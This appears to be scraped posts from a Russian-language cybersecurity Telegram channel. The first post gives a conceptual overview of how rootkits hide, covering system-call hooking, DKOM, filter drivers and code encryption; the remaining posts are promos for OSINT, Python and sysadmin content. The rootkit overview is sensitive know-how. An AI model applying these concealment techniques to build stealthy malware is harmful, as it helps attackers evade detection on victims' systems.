Для сокрытия своего присутствия руткиты используют несколько основных методов. Один из самых распространённых — перехват системных вызовов, когда вместо оригинальной функции ядра подставляется модифицированная, которая просто пропускает запросы, касающиеся скрываемых объектов, например, не показывает определённые файлы или процессы при перечислении. Другой, более сложный способ — прямое манипулирование структурами данных ядра в памяти (это называется DKOM), при котором руткит изменяет списки процессов, драйверов или сетевых соединений непосредственно в оперативной памяти, не прибегая к перехвату вызовов, что значительно усложняет его обнаружение. Также часто используются драйверы-фильтры для файловых систем или сетевого стека, шифрование собственного кода и конфигураций, а также работа с недокументированными внутренностями ОС, которые не отслеживаются стандартными средствами мониторинга.
CyberGuardе | Вакансии | Чат || | #Книги | 630 |
| 17 |  بدون متن... | 276 |
| 18 |  💻 РАЗВЕДКА БЕЗ ВЗЛОМА: ПРОБИВ ПО ОТКРЫТЫМ ИСТОЧНИКАМ И АВТОМАТИЗАЦИЯ В SPIDERFOOT ЗА 11 МИНУТ
📹 Первоисточник
CyberGuardе | Вакансии | Чат || #Видео | 727 |
| 19 |  Опа, тут бывший сеньор одного из IT-отделов Яндекса Игорь Никитин выкатил целый канал про Python — и это лучшее, что есть в рунете по теме.
Качественные гайды. Советы от известных прогеров. Тематические мемасы. Короче, ничего лишнего.
Хватит душить питона, учись его кодить: https://t.me/+evJ7pToYSEIwOGZi 🐍 | 340 |
| 20 |  Системное администрирование
Практические видеоуроки по системному администрированию Windows: от установки ОС и обхода ограничений до отказоустойчивости домена, WDS, Exchange Server и мониторинга сети. Без лишней теории.
➡️ Пройти курс
CyberGuardе | Вакансии | Чат || #Курсы | 769 |
